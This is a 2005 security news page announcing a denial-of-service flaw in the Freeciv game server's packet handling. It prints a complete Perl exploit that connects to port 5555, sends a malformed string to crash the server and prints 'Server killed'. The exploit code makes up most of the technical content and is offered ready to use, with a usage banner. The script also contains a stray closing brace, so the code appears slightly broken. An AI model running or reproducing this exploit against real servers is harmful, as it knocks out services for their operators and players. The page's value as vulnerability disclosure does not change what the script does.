Main Menu
Network
Sponsor
Top 10 Sites
Partners
|
|
Top Submit newsSubscribe 
Communication | Computer Crime | Digital Audio, Video, Photo | General News | Hardware | Internet | Mobile | PDA | Security | Software | Vulnerability |
Previous articleBack to news listNext article
| Sponsored links | Want to become one of our authors and see your work published on ALLSeek.iNFO ?
| | Freeciv Server DoS Exploit |
|---|
Categorie: Vulnerability
Posted: 2005-03-27 by basher13
Views: 808
| Current Rating: Not rated
|
| | Details |
|---|
Update:
10:38 PM 3/27/2005
Subject:
" Freeciv Server DoS Exploit "
Description:
Freeciv is a free turn-based multiplayer strategy game, in which each player
becomes the leader of a civilization, fighting to obtain the ultimate goal:
To become the greatest civilization.
Players of the Civilization® series by Microprose® should feel at home, since one
aim of Freeciv is to have modes with compatible rules.
Freeciv is maintained by an international team of coders and enthusiasts, and is easily
one of the most fun and addictive network games out there!
It also means it has very extensive multilanguage support, something rare in games.
Vulnerability:
There is a vulnerability in the handling of incoming data. If the request
is uncomplete or modified, the server crashes because of a bug in the
get_packet_from_connection function in packets.c.
Exploit:
#!/usr/bin/perl
# Freeciv Server DoS Exploit
# --------------------------
#
# Greats:Nico Spicher (has discovered bug)
# info: 98.to/infamous
use IO::Socket;
$host=$ARGV[0];
$port=5555;
if(!$ARGV[0]){
print "Freeciv Server DoS Exploit\n";
print "==========================\n";
print "INFGP-Hacking&Security Research\n";
print "[^]\n\n";
print "Usage:perl $0 [target]\n";
}
use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, );
close($socket);
if($socket){
print "[+]Attacking host..\n";
}
$conn = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Host not found\n";
print "[+]Connect on $port\n\n";
print "[+]Creating string\n";
$line="@+2.0 conn_ping_info username_info-beta8";
print "[+]String sent..\n\n";
print $conn "$line";
close($conn);
}
print "Server killed\n";
exit();
Vendor URL:
http://www.freeciv.org/
| | Syndication |
|---|
Permalink Email this
The URI to TrackBack this entry is:
http://allseek.info/news/trackback.php?id=1452
| | User comments (post your comments ) |
|---|
Only registerd members can post comments and articles
|
| Previous articleBack to news listNext article
|
|
|
|
InterJOB.su
|
